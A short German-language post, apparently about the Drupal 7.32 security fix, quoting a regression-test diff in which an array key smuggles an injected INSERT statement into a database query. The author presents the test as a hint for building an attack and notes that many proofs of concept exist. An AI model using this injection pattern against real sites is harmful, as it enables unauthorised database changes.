Was ist los mit 7.32 Durch Überprüfen des Testmoduls. Sie können sehen, dass der folgende Test zu 7.32 hinzugefügt wurde;
+
+ /**
+ * Test SQL injection via database query array arguments.
+ */
+ public function testArrayArgumentsSQLInjection() {
+ // Attempt SQL injection and verify that it does not work.
+ $condition = array(
+ "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+ '1' => '',
+ );
+ try {
+ db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+ $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+ }
+ catch (PDOException $e) {
+ $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+ }
+
+ // Test that the insert query that was used in the SQL injection attempt did
+ // not result in a row being inserted in the database.
+ $result = db_select('test')
+ ->condition('name', 'test12345678')
+ ->countQuery()
+ ->execute()
+ ->fetchField();
+ $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+ }
+
Dies sollte einen weiteren Einblick in die Vorgehensweise beim Herstellen eines Angriffs geben.

Da mehr als genug Zeit vergangen ist und es viele PoCs in freier Wildbahn gibt.
